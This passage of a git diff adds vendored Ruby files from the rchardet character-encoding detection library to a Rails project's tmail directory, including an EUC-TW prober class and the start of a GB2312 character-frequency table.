+8422,8423,8424,8425,8426,8427,8428,8429,8430,8431,8432,8433,8434,8435,8436,8437, # 8438 +8438,8439,8440,8441,8442,8443,8444,8445,8446,8447,8448,8449,8450,8451,8452,8453, # 8454 +8454,8455,8456,8457,8458,8459,8460,8461,8462,8463,8464,8465,8466,8467,8468,8469, # 8470 +8470,8471,8472,8473,8474,8475,8476,8477,8478,8479,8480,8481,8482,8483,8484,8485, # 8486 +8486,8487,8488,8489,8490,8491,8492,8493,8494,8495,8496,8497,8498,8499,8500,8501, # 8502 +8502,8503,8504,8505,8506,8507,8508,8509,8510,8511,8512,8513,8514,8515,8516,8517, # 8518 +8518,8519,8520,8521,8522,8523,8524,8525,8526,8527,8528,8529,8530,8531,8532,8533, # 8534 +8534,8535,8536,8537,8538,8539,8540,8541,8542,8543,8544,8545,8546,8547,8548,8549, # 8550 +8550,8551,8552,8553,8554,8555,8556,8557,8558,8559,8560,8561,8562,8563,8564,8565, # 8566 +8566,8567,8568,8569,8570,8571,8572,8573,8574,8575,8576,8577,8578,8579,8580,8581, # 8582 +8582,8583,8584,8585,8586,8587,8588,8589,8590,8591,8592,8593,8594,8595,8596,8597, # 8598 +8598,8599,8600,8601,8602,8603,8604,8605,8606,8607,8608,8609,8610,8611,8612,8613, # 8614 +8614,8615,8616,8617,8618,8619,8620,8621,8622,8623,8624,8625,8626,8627,8628,8629, # 8630 +8630,8631,8632,8633,8634,8635,8636,8637,8638,8639,8640,8641,8642,8643,8644,8645, # 8646 +8646,8647,8648,8649,8650,8651,8652,8653,8654,8655,8656,8657,8658,8659,8660,8661, # 8662 +8662,8663,8664,8665,8666,8667,8668,8669,8670,8671,8672,8673,8674,8675,8676,8677, # 8678 +8678,8679,8680,8681,8682,8683,8684,8685,8686,8687,8688,8689,8690,8691,8692,8693, # 8694 +8694,8695,8696,8697,8698,8699,8700,8701,8702,8703,8704,8705,8706,8707,8708,8709, # 8710 +8710,8711,8712,8713,8714,8715,8716,8717,8718,8719,8720,8721,8722,8723,8724,8725, # 8726 +8726,8727,8728,8729,8730,8731,8732,8733,8734,8735,8736,8737,8738,8739,8740,8741] # 8742 +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euctwprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euctwprober.rb new file mode 100755 index 00000000..a65a3f48 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euctwprober.rb @@ -0,0 +1,42 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + class EUCTWProber < MultiByteCharSetProber + def initialize + super() + @_mCodingSM = CodingStateMachine.new(EUCTWSMModel) + @_mDistributionAnalyzer = EUCTWDistributionAnalysis.new() + reset() + end + + def get_charset_name + return "EUC-TW" + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/gb2312freq.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/gb2312freq.rb new file mode 100755 index 00000000..1b43eabb --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/gb2312freq.rb @@ -0,0 +1,474 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# GB2312 most frequently used character table +# +# Char to FreqOrder table , from hz6763 + +# 512 --> 0.79 -- 0.79 +# 1024 --> 0.92 -- 0.13 +# 2048 --> 0.98 -- 0.06 +# 6768 --> 1.00 -- 0.02 +# +# Ideal Distribution Ratio = 0.79135/(1-0.79135) = 3.79 +# Random Distribution Ration = 512 / (3755 - 512) = 0.157 +# +# Typical Distribution Ratio about 25% of Ideal one, still much higher that RDR + +module CharDet +GB2312_TYPICAL_DISTRIBUTION_RATIO = 0.9 + +GB2312_TABLE_SIZE = 3760 + +GB2312CharToFreqOrder = [ +1671, 749,1443,2364,3924,3807,2330,3921,1704,3463,2691,1511,1515, 572,3191,2205, +2361, 224,2558, 479,1711, 963,3162, 440,4060,1905,2966,2947,3580,2647,3961,3842, +2204, 869,4207, 970,2678,5626,2944,2956,1479,4048, 514,3595, 588,1346,2820,3409, + 249,4088,1746,1873,2047,1774, 581,1813, 358,1174,3590,1014,1561,4844,2245, 670, +1636,3112, 889,1286, 953, 556,2327,3060,1290,3141, 613, 185,3477,1367, 850,3820, +1715,2428,2642,2303,2732,3041,2562,2648,3566,3946,1349, 388,3098,2091,1360,3585, + 152,1687,1539, 738,1559, 59,1232,2925,2267,1388,1249,1741,1679,2960, 151,1566, +1125,1352,4271, 924,4296, 385,3166,4459, 310,1245,2850, 70,3285,2729,3534,3575, +2398,3298,3466,1960,2265, 217,3647, 864,1909,2084,4401,2773,1010,3269,5152, 853, +3051,3121,1244,4251,1895, 364,1499,1540,2313,1180,3655,2268, 562, 715,2417,3061, + 544, 336,3768,2380,1752,4075, 950, 280,2425,4382, 183,2759,3272, 333,4297,2155, +1688,2356,1444,1039,4540, 736,1177,3349,2443,2368,2144,2225, 565, 196,1482,3406, + 927,1335,4147, 692, 878,1311,1653,3911,3622,1378,4200,1840,2969,3149,2126,1816, +2534,1546,2393,2760, 737,2494, 13, 447, 245,2747, 38,2765,2129,2589,1079, 606, + 360, 471,3755,2890, 404, 848, 699,1785,1236, 370,2221,1023,3746,2074,2026,2023, +2388,1581,2119, 812,1141,3091,2536,1519, 804,2053, 406,1596,1090, 784, 548,4414, +1806,2264,2936,1100, 343,4114,5096, 622,3358, 743,3668,1510,1626,5020,3567,2513, +3195,4115,5627,2489,2991, 24,2065,2697,1087,2719, 48,1634, 315, 68, 985,2052, + 198,2239,1347,1107,1439, 597,2366,2172, 871,3307, 919,2487,2790,1867, 236,2570, +1413,3794, 906,3365,3381,1701,1982,1818,1524,2924,1205, 616,2586,2072,2004, 575, + 253,3099, 32,1365,1182, 197,1714,2454,1201, 554,3388,3224,2748, 756,2587, 250, +2567,1507,1517,3529,1922,2761,2337,3416,1961,1677,2452,2238,3153, 615, 911,1506, +1474,2495,1265,1906,2749,3756,3280,2161, 898,2714,1759,3450,2243,2444, 563, 26, +3286,2266,3769,3344,2707,3677, 611,1402, 531,1028,2871,4548,1375, 261,2948, 835, +1190,4134, 353, 840,2684,1900,3082,1435,2109,1207,1674, 329,1872,2781,4055,2686, +2104, 608,3318,2423,2957,2768,1108,3739,3512,3271,3985,2203,1771,3520,1418,2054, +1681,1153, 225,1627,2929, 162,2050,2511,3687,1954, 124,1859,2431,1684,3032,2894, + 585,4805,3969,2869,2704,2088,2032,2095,3656,2635,4362,2209, 256, 518,2042,2105, +3777,3657, 643,2298,1148,1779, 190, 989,3544, 414, 11,2135,2063,2979,1471, 403, +3678, 126, 770,1563, 671,2499,3216,2877, 600,1179, 307,2805,4937,1268,1297,2694, + 252,4032,1448,1494,1331,1394, 127,2256, 222,1647,1035,1481,3056,1915,1048, 873, +3651, 210, 33,1608,2516, 200,1520, 415, 102, 0,3389,1287, 817, 91,3299,2940, + 836,1814, 549,2197,1396,1669,2987,3582,2297,2848,4528,1070, 687, 20,1819, 121, +1552,1364,1461,1968,2617,3540,2824,2083, 177, 948,4938,2291, 110,4549,2066, 648, +3359,1755,2110,2114,4642,4845,1693,3937,3308,1257,1869,2123, 208,1804,3159,2992, +2531,2549,3361,2418,1350,2347,2800,2568,1291,2036,2680, 72, 842,1990, 212,1233, +1154,1586, 75,2027,3410,4900,1823,1337,2710,2676, 728,2810,1522,3026,4995, 157, + 755,1050,4022, 710, 785,1936,2194,2085,1406,2777,2400, 150,1250,4049,1206, 807, +1910, 534, 529,3309,1721,1660, 274, 39,2827, 661,2670,1578, 925,3248,3815,1094, +4278,4901,4252, 41,1150,3747,2572,2227,4501,3658,4902,3813,3357,3617,2884,2258, + 887, 538,4187,3199,1294,2439,3042,2329,2343,2497,1255, 107, 543,1527, 521,3478, +3568, 194,5062, 15, 961,3870,1241,1192,2664, 66,5215,3260,2111,1295,1127,2152, +3805,4135, 901,1164,1976, 398,1278, 530,1460, 748, 904,1054,1966,1426, 53,2909, + 509, 523,2279,1534, 536,1019, 239,1685, 460,2353, 673,1065,2401,3600,4298,2272, +1272,2363, 284,1753,3679,4064,1695, 81, 815,2677,2757,2731,1386, 859, 500,4221, +2190,2566, 757,1006,2519,2068,1166,1455, 337,2654,3203,1863,1682,1914,3025,1252, +1409,1366, 847, 714,2834,2038,3209, 964,2970,1901, 885,2553,1078,1756,3049, 301, +1572,3326, 688,2130,1996,2429,1805,1648,2930,3421,2750,3652,3088, 262,1158,1254, + 389,1641,1812, 526,1719, 923,2073,1073,1902, 468, 489,4625,1140, 857,2375,3070, +3319,2863, 380, 116,1328,2693,1161,2244, 273,1212,1884,2769,3011,1775,1142, 461, +3066,1200,2147,2212, 790, 702,2695,4222,1601,1058, 434,2338,5153,3640, 67,2360, +4099,2502, 618,3472,1329, 416,1132, 830,2782,1807,2653,3211,3510,1662, 192,2124, + 296,3979,1739,1611,3684, 23, 118, 324, 446,1239,1225, 293,2520,3814,3795,2535, +3116, 17,1074, 467,2692,2201, 387,2922, 45,1326,3055,1645,3659,2817, 958, 243, +1903,2320,1339,2825,1784,3289, 356, 576, 865,2315,2381,3377,3916,1088,3122,1713, +1655, 935, 628,4689,1034,1327, 441, 800, 720, 894,1979,2183,1528,5289,2702,1071, +4046,3572,2399,1571,3281, 79, 761,1103, 327, 134, 758,1899,1371,1615, 879, 442, + 215,2605,2579, 173,2048,2485,1057,2975,3317,1097,2253,3801,4263,1403,1650,2946, + 814,4968,3487,1548,2644,1567,1285, 2, 295,2636, 97, 946,3576, 832, 141,4257, +3273, 760,3821,3521,3156,2607, 949,1024,1733,1516,1803,1920,2125,2283,2665,3180, +1501,2064,3560,2171,1592, 803,3518,1416, 732,3897,4258,1363,1362,2458, 119,1427, + 602,1525,2608,1605,1639,3175, 694,3064, 10, 465, 76,2000,4846,4208, 444,3781, +1619,3353,2206,1273,3796, 740,2483, 320,1723,2377,3660,2619,1359,1137,1762,1724, +2345,2842,1850,1862, 912, 821,1866, 612,2625,1735,2573,3369,1093, 844, 89, 937, + 930,1424,3564,2413,2972,1004,3046,3019,2011, 711,3171,1452,4178, 428, 801,1943, + 432, 445,2811, 206,4136,1472, 730, 349, 73, 397,2802,2547, 998,1637,1167, 789, + 396,3217, 154,1218, 716,1120,1780,2819,4826,1931,3334,3762,2139,1215,2627, 552, +3664,3628,3232,1405,2383,3111,1356,2652,3577,3320,3101,1703, 640,1045,1370,1246, +4996, 371,1575,2436,1621,2210, 984,4033,1734,2638, 16,4529, 663,2755,3255,1451, +3917,2257,1253,1955,2234,1263,2951, 214,1229, 617, 485, 359,1831,1969, 473,2310, + 750,2058, 165, 80,2864,2419, 361,4344,2416,2479,1134, 796,3726,1266,2943, 860, +2715, 938, 390,2734,1313,1384, 248, 202, 877,1064,2854, 522,3907, 279,1602, 297, +2357, 395,3740, 137,2075, 944,4089,2584,1267,3802, 62,1533,2285, 178, 176, 780, +2440, 201,3707, 590, 478,1560,4354,2117,1075, 30, 74,4643,4004,1635,1441,2745, + 776,2596, 238,1077,1692,1912,2844, 605, 499,1742,3947, 241,3053, 980,1749, 936, +2640,4511,2582, 515,1543,2162,5322,2892,2993, 890,2148,1924, 665,1827,3581,1032, + 968,3163, 339,1044,1896, 270, 583,1791,1720,4367,1194,3488,3669, 43,2523,1657, + 163,2167, 290,1209,1622,3378, 550, 634,2508,2510, 695,2634,2384,2512,1476,1414, + 220,1469,2341,2138,2852,3183,2900,4939,2865,3502,1211,3680, 854,3227,1299,2976, +3172, 186,2998,1459, 443,1067,3251,1495, 321,1932,3054, 909, 753,1410,1828, 436, +2441,1119,1587,3164,2186,1258, 227, 231,1425,1890,3200,3942, 247, 959, 725,5254, +2741, 577,2158,2079, 929, 120, 174, 838,2813, 591,1115, 417,2024, 40,3240,1536, +1037, 291,4151,2354, 632,1298,2406,2500,3535,1825,1846,3451, 205,1171, 345,4238, + 18,1163, 811, 685,2208,1217, 425,1312,1508,1175,4308,2552,1033, 587,1381,3059, +2984,3482, 340,1316,4023,3972, 792,3176, 519, 777,4690, 918, 933,4130,2981,3741, + 90,3360,2911,2200,5184,4550, 609,3079,2030, 272,3379,2736, 363,3881,1130,1447, + 286, 779, 357,1169,3350,3137,1630,1220,2687,2391, 747,1277,3688,2618,2682,2601, +1156,3196,5290,4034,3102,1689,3596,3128, 874, 219,2783, 798, 508,1843,2461, 269, +1658,1776,1392,1913,2983,3287,2866,2159,2372, 829,4076, 46,4253,2873,1889,1894, + 915,1834,1631,2181,2318, 298, 664,2818,3555,2735, 954,3228,3117, 527,3511,2173, + 681,2712,3033,2247,2346,3467,1652, 155,2164,3382, 113,1994, 450, 899, 494, 994, +1237,2958,1875,2336,1926,3727, 545,1577,1550, 633,3473, 204,1305,3072,2410,1956, +2471, 707,2134, 841,2195,2196,2663,3843,1026,4940, 990,3252,4997, 368,1092, 437, +3212,3258,1933,1829, 675,2977,2893, 412, 943,3723,4644,3294,3283,2230,2373,5154, +2389,2241,2661,2323,1404,2524, 593, 787, 677,3008,1275,2059, 438,2709,2609,2240, +2269,2246,1446, 36,1568,1373,3892,1574,2301,1456,3962, 693,2276,5216,2035,1143, +2720,1919,1797,1811,2763,4137,2597,1830,1699,1488,1198,2090, 424,1694, 312,3634, +3390,4179,3335,2252,1214, 561,1059,3243,2295,2561, 975,5155,2321,2751,3772, 472, +1537,3282,3398,1047,2077,2348,2878,1323,3340,3076, 690,2906, 51, 369, 170,3541, +1060,2187,2688,3670,2541,1083,1683, 928,3918, 459, 109,4427, 599,3744,4286, 143, +2101,2730,2490, 82,1588,3036,2121, 281,1860, 477,4035,1238,2812,3020,2716,3312, +1530,2188,2055,1317, 843, 636,1808,1173,3495, 649, 181,1002, 147,3641,1159,2414, +3750,2289,2795, 813,3123,2610,1136,4368, 5,3391,4541,2174, 420, 429,1728, 754, +1228,2115,2219, 347,2223,2733, 735,1518,3003,2355,3134,1764,3948,3329,1888,2424, +1001,1234,1972,3321,3363,1672,1021,1450,1584, 226, 765, 655,2526,3404,3244,2302, +3665, 731, 594,2184, 319,1576, 621, 658,2656,4299,2099,3864,1279,2071,2598,2739, + 795,3086,3699,3908,1707,2352,2402,1382,3136,2475,1465,4847,3496,3865,1085,3004, +2591,1084, 213,2287,1963,3565,2250, 822, 793,4574,3187,1772,1789,3050, 595,1484, +1959,2770,1080,2650, 456, 422,2996, 940,3322,4328,4345,3092,2742, 965,2784, 739, +4124, 952,1358,2498,2949,2565, 332,2698,2378, 660,2260,2473,4194,3856,2919, 535, +1260,2651,1208,1428,1300,1949,1303,2942, 433,2455,2450,1251,1946, 614,1269, 641, +1306,1810,2737,3078,2912, 564,2365,1419,1415,1497,4460,2367,2185,1379,3005,1307, +3218,2175,1897,3063, 682,1157,4040,4005,1712,1160,1941,1399, 394, 402,2952,1573, +1151,2986,2404, 862, 299,2033,1489,3006, 346, 171,2886,3401,1726,2932, 168,2533, + 47,2507,1030,3735,1145,3370,1395,1318,1579,3609,4560,2857,4116,1457,2529,1965, + 504,1036,2690,2988,2405, 745,5871, 849,2397,2056,3081, 863,2359,3857,2096, 99, +1397,1769,2300,4428,1643,3455,1978,1757,3718,1440, 35,4879,3742,1296,4228,2280, + 160,5063,1599,2013, 166, 520,3479,1646,3345,3012, 490,1937,1545,1264,2182,2505, +1096,1188,1369,1436,2421,1667,2792,2460,1270,2122, 727,3167,2143, 806,1706,1012, +1800,3037, 960,2218,1882, 805, 139,2456,1139,1521, 851,1052,3093,3089, 342,2039, + 744,5097,1468,1502,1585,2087, 223, 939, 326,2140,2577, 892,2481,1623,4077, 982, +3708, 135,2131, 87,2503,3114,2326,1106, 876,1616, 547,2997,2831,2093,3441,4530, +4314, 9,3256,4229,4148, 659,1462,1986,1710,2046,2913,2231,4090,4880,5255,3392, +3274,1368,3689,4645,1477, 705,3384,3635,1068,1529,2941,1458,3782,1509, 100,1656, +2548, 718,2339, 408,1590,2780,3548,1838,4117,3719,1345,3530, 717,3442,2778,3220, +2898,1892,4590,3614,3371,2043,1998,1224,3483, 891, 635, 584,2559,3355, 733,1766, +1729,1172,3789,1891,2307, 781,2982,2271,1957,1580,5773,2633,2005,4195,3097,1535, +3213,1189,1934,5693,3262, 586,3118,1324,1598, 517,1564,2217,1868,1893,4445,3728, +2703,3139,1526,1787,1992,3882,2875,1549,1199,1056,2224,1904,2711,5098,4287, 338, +1993,3129,3489,2689,1809,2815,1997, 957,1855,3898,2550,3275,3057,1105,1319, 627, +1505,1911,1883,3526, 698,3629,3456,1833,1431, 746, 77,1261,2017,2296,1977,1885, + 125,1334,1600, 525,1798,1109,2222,1470,1945, 559,2236,1186,3443,2476,1929,1411, +2411,3135,1777,3372,2621,1841,1613,3229, 668,1430,1839,2643,2916, 195,1989,2671, +2358,1387, 629,3205,2293,5256,4439, 123,1310, 888,1879,4300,3021,3605,1003,1162, +3192,2910,2010, 140,2395,2859, 55,1082,2012,2901, 662, 419,2081,1438, 680,2774, +4654,3912,1620,1731,1625,5035,4065,2328, 512,1344, 802,5443,2163,2311,2537, 524, +3399, 98,1155,2103,1918,2606,3925,2816,1393,2465,1504,3773,2177,3963,1478,4346, + 180,1113,4655,3461,2028,1698, 833,2696,1235,1322,1594,4408,3623,3013,3225,2040, +3022, 541,2881, 607,3632,2029,1665,1219, 639,1385,1686,1099,2803,3231,1938,3188, +2858, 427, 676,2772,1168,2025, 454,3253,2486,3556, 230,1950, 580, 791,1991,1280, +1086,1974,2034, 630, 257,3338,2788,4903,1017, 86,4790, 966,2789,1995,1696,1131, + 259,3095,4188,1308, 179,1463,5257, 289,4107,1248, 42,3413,1725,2288, 896,1947, + 774,4474,4254, 604,3430,4264, 392,2514,2588, 452, 237,1408,3018, 988,4531,1970, +3034,3310, 540,2370,1562,1288,2990, 502,4765,1147, 4,1853,2708, 207, 294,2814, +4078,2902,2509, 684, 34,3105,3532,2551, 644, 709,2801,2344, 573,1727,3573,3557, +2021,1081,3100,4315,2100,3681, 199,2263,1837,2385, 146,3484,1195,2776,3949, 997, +1939,3973,1008,1091,1202,1962,1847,1149,4209,5444,1076, 493, 117,5400,2521, 972, +1490,2934,1796,4542,2374,1512,2933,2657, 413,2888,1135,2762,2314,2156,1355,2369, + 766,2007,2527,2170,3124,2491,2593,2632,4757,2437, 234,3125,3591,1898,1750,1376, +1942,3468,3138, 570,2127,2145,3276,4131, 962, 132,1445,4196, 19, 941,3624,3480, +3366,1973,1374,4461,3431,2629, 283,2415,2275, 808,2887,3620,2112,2563,1353,3610, + 955,1089,3103,1053, 96, 88,4097, 823,3808,1583, 399, 292,4091,3313, 421,1128, + 642,4006, 903,2539,1877,2082, 596, 29,4066,1790, 722,2157, 130, 995,1569, 769, +1485, 464, 513,2213, 288,1923,1101,2453,4316, 133, 486,2445, 50, 625, 487,2207, + 57, 423, 481,2962, 159,3729,1558, 491, 303, 482, 501, 240,2837, 112,3648,2392, +1783, 362, 8,3433,3422, 610,2793,3277,1390,1284,1654, 21,3823, 734, 367, 623, + 193, 287, 374,1009,1483, 816, 476, 313,2255,2340,1262,2150,2899,1146,2581, 782, +2116,1659,2018,1880, 255,3586,3314,1110,2867,2137,2564, 986,2767,5185,2006, 650, + 158, 926, 762, 881,3157,2717,2362,3587, 306,3690,3245,1542,3077,2427,1691,2478, +2118,2985,3490,2438, 539,2305, 983, 129,1754, 355,4201,2386, 827,2923, 104,1773, +2838,2771, 411,2905,3919, 376, 767, 122,1114, 828,2422,1817,3506, 266,3460,1007, +1609,4998, 945,2612,4429,2274, 726,1247,1964,2914,2199,2070,4002,4108, 657,3323, +1422, 579, 455,2764,4737,1222,2895,1670, 824,1223,1487,2525, 558, 861,3080, 598, +2659,2515,1967, 752,2583,2376,2214,4180, 977, 704,2464,4999,2622,4109,1210,2961, + 819,1541, 142,2284, 44, 418, 457,1126,3730,4347,4626,1644,1876,3671,1864, 302, +1063,5694, 624, 723,1984,3745,1314,1676,2488,1610,1449,3558,3569,2166,2098, 409, +1011,2325,3704,2306, 818,1732,1383,1824,1844,3757, 999,2705,3497,1216,1423,2683, +2426,2954,2501,2726,2229,1475,2554,5064,1971,1794,1666,2014,1343, 783, 724, 191, +2434,1354,2220,5065,1763,2752,2472,4152, 131, 175,2885,3434, 92,1466,4920,2616, +3871,3872,3866, 128,1551,1632, 669,1854,3682,4691,4125,1230, 188,2973,3290,1302, +1213, 560,3266, 917, 763,3909,3249,1760, 868,1958, 764,1782,2097, 145,2277,3774, +4462, 64,1491,3062, 971,2132,3606,2442, 221,1226,1617, 218, 323,1185,3207,3147, + 571, 619,1473,1005,1744,2281, 449,1887,2396,3685, 275, 375,3816,1743,3844,3731, + 845,1983,2350,4210,1377, 773, 967,3499,3052,3743,2725,4007,1697,1022,3943,1464, +3264,2855,2722,1952,1029,2839,2467, 84,4383,2215, 820,1391,2015,2448,3672, 377, +1948,2168, 797,2545,3536,2578,2645, 94,2874,1678, 405,1259,3071, 771, 546,1315, + 470,1243,3083, 895,2468, 981, 969,2037, 846,4181, 653,1276,2928, 14,2594, 557, +3007,2474, 156, 902,1338,1740,2574, 537,2518, 973,2282,2216,2433,1928, 138,2903, +1293,2631,1612, 646,3457, 839,2935, 111, 496,2191,2847, 589,3186, 149,3994,2060, +4031,2641,4067,3145,1870, 37,3597,2136,1025,2051,3009,3383,3549,1121,1016,3261, +1301, 251,2446,2599,2153, 872,3246, 637, 334,3705, 831, 884, 921,3065,3140,4092, +2198,1944, 246,2964, 108,2045,1152,1921,2308,1031, 203,3173,4170,1907,3890, 810, +1401,2003,1690, 506, 647,1242,2828,1761,1649,3208,2249,1589,3709,2931,5156,1708, + 498, 666,2613, 834,3817,1231, 184,2851,1124, 883,3197,2261,3710,1765,1553,2658, +1178,2639,2351, 93,1193, 942,2538,2141,4402, 235,1821, 870,1591,2192,1709,1871, +3341,1618,4126,2595,2334, 603, 651, 69, 701, 268,2662,3411,2555,1380,1606, 503, + 448, 254,2371,2646, 574,1187,2309,1770, 322,2235,1292,1801, 305, 566,1133, 229, +2067,2057, 706, 167, 483,2002,2672,3295,1820,3561,3067, 316, 378,2746,3452,1112, + 136,1981, 507,1651,2917,1117, 285,4591, 182,2580,3522,1304, 335,3303,1835,2504, +1795,1792,2248, 674,1018,2106,2449,1857,2292,2845, 976,3047,1781,2600,2727,1389, +1281, 52,3152, 153, 265,3950, 672,3485,3951,4463, 430,1183, 365, 278,2169, 27, +1407,1336,2304, 209,1340,1730,2202,1852,2403,2883, 979,1737,1062, 631,2829,2542, +3876,2592, 825,2086,2226,3048,3625, 352,1417,3724, 542, 991, 431,1351,3938,1861, +2294, 826,1361,2927,3142,3503,1738, 463,2462,2723, 582,1916,1595,2808, 400,3845, +3891,2868,3621,2254, 58,2492,1123, 910,2160,2614,1372,1603,1196,1072,3385,1700, +3267,1980, 696, 480,2430, 920, 799,1570,2920,1951,2041,4047,2540,1321,4223,2469, +3562,2228,1271,2602, 401,2833,3351,2575,5157, 907,2312,1256, 410, 263,3507,1582, + 996, 678,1849,2316,1480, 908,3545,2237, 703,2322, 667,1826,2849,1531,2604,2999, +2407,3146,2151,2630,1786,3711, 469,3542, 497,3899,2409, 858, 837,4446,3393,1274, + 786, 620,1845,2001,3311, 484, 308,3367,1204,1815,3691,2332,1532,2557,1842,2020, +2724,1927,2333,4440, 567, 22,1673,2728,4475,1987,1858,1144,1597, 101,1832,3601, + 12, 974,3783,4391, 951,1412, 1,3720, 453,4608,4041, 528,1041,1027,3230,2628, +1129, 875,1051,3291,1203,2262,1069,2860,2799,2149,2615,3278, 144,1758,3040, 31, + 475,1680, 366,2685,3184, 311,1642,4008,2466,5036,1593,1493,2809, 216,1420,1668, + 233, 304,2128,3284, 232,1429,1768,1040,2008,3407,2740,2967,2543, 242,2133, 778, +1565,2022,2620, 505,2189,2756,1098,2273, 372,1614, 708, 553,2846,2094,2278, 169, +3626,2835,4161, 228,2674,3165, 809,1454,1309, 466,1705,1095, 900,3423, 880,2667, +3751,5258,2317,3109,2571,4317,2766,1503,1342, 866,4447,1118, 63,2076, 314,1881, +1348,1061, 172, 978,3515,1747, 532, 511,3970, 6, 601, 905,2699,3300,1751, 276, +1467,3725,2668, 65,4239,2544,2779,2556,1604, 578,2451,1802, 992,2331,2624,1320, +3446, 713,1513,1013, 103,2786,2447,1661, 886,1702, 916, 654,3574,2031,1556, 751, +2178,2821,2179,1498,1538,2176, 271, 914,2251,2080,1325, 638,1953,2937,3877,2432, +2754, 95,3265,1716, 260,1227,4083, 775, 106,1357,3254, 426,1607, 555,2480, 772, +1985, 244,2546, 474, 495,1046,2611,1851,2061, 71,2089,1675,2590, 742,3758,2843, +3222,1433, 267,2180,2576,2826,2233,2092,3913,2435, 956,1745,3075, 856,2113,1116, + 451, 3,1988,2896,1398, 993,2463,1878,2049,1341,2718,2721,2870,2108, 712,2904, +4363,2753,2324, 277,2872,2349,2649, 384, 987, 435, 691,3000, 922, 164,3939, 652, +1500,1184,4153,2482,3373,2165,4848,2335,3775,3508,3154,2806,2830,1554,2102,1664, +2530,1434,2408, 893,1547,2623,3447,2832,2242,2532,3169,2856,3223,2078, 49,3770, +3469, 462, 318, 656,2259,3250,3069, 679,1629,2758, 344,1138,1104,3120,1836,1283, +3115,2154,1437,4448, 934, 759,1999, 794,2862,1038, 533,2560,1722,2342, 855,2626, +1197,1663,4476,3127, 85,4240,2528, 25,1111,1181,3673, 407,3470,4561,2679,2713, + 768,1925,2841,3986,1544,1165, 932, 373,1240,2146,1930,2673, 721,4766, 354,4333, + 391,2963, 187, 61,3364,1442,1102, 330,1940,1767, 341,3809,4118, 393,2496,2062, +2211, 105, 331, 300, 439, 913,1332, 626, 379,3304,1557, 328, 689,3952, 309,1555, + 931, 317,2517,3027, 325, 569, 686,2107,3084, 60,1042,1333,2794, 264,3177,4014, +1628, 258,3712, 7,4464,1176,1043,1778, 683, 114,1975, 78,1492, 383,1886, 510, + 386, 645,5291,2891,2069,3305,4138,3867,2939,2603,2493,1935,1066,1848,3588,1015, +1282,1289,4609, 697,1453,3044,2666,3611,1856,2412, 54, 719,1330, 568,3778,2459, +1748, 788, 492, 551,1191,1000, 488,3394,3763, 282,1799, 348,2016,1523,3155,2390, +1049, 382,2019,1788,1170, 729,2968,3523, 897,3926,2785,2938,3292, 350,2319,3238, +1718,1717,2655,3453,3143,4465, 161,2889,2980,2009,1421, 56,1908,1640,2387,2232, +1917,1874,2477,4921, 148, 83,3438, 592,4245,2882,1822,1055, 741, 115,1496,1624, + 381,1638,4592,1020, 516,3214, 458, 947,4575,1432, 211,1514,2926,1865,2142, 189, + 852,1221,1400,1486, 882,2299,4036, 351, 28,1122, 700,6479,6480,6481,6482,6483, # last 512 +#Everything below is of no interest for detection purpose +5508,6484,3900,3414,3974,4441,4024,3537,4037,5628,5099,3633,6485,3148,6486,3636, +5509,3257,5510,5973,5445,5872,4941,4403,3174,4627,5873,6276,2286,4230,5446,5874, +5122,6102,6103,4162,5447,5123,5323,4849,6277,3980,3851,5066,4246,5774,5067,6278, +3001,2807,5695,3346,5775,5974,5158,5448,6487,5975,5976,5776,3598,6279,5696,4806, +4211,4154,6280,6488,6489,6490,6281,4212,5037,3374,4171,6491,4562,4807,4722,4827, +5977,6104,4532,4079,5159,5324,5160,4404,3858,5359,5875,3975,4288,4610,3486,4512, +5325,3893,5360,6282,6283,5560,2522,4231,5978,5186,5449,2569,3878,6284,5401,3578, +4415,6285,4656,5124,5979,2506,4247,4449,3219,3417,4334,4969,4329,6492,4576,4828, +4172,4416,4829,5402,6286,3927,3852,5361,4369,4830,4477,4867,5876,4173,6493,6105, +4657,6287,6106,5877,5450,6494,4155,4868,5451,3700,5629,4384,6288,6289,5878,3189, 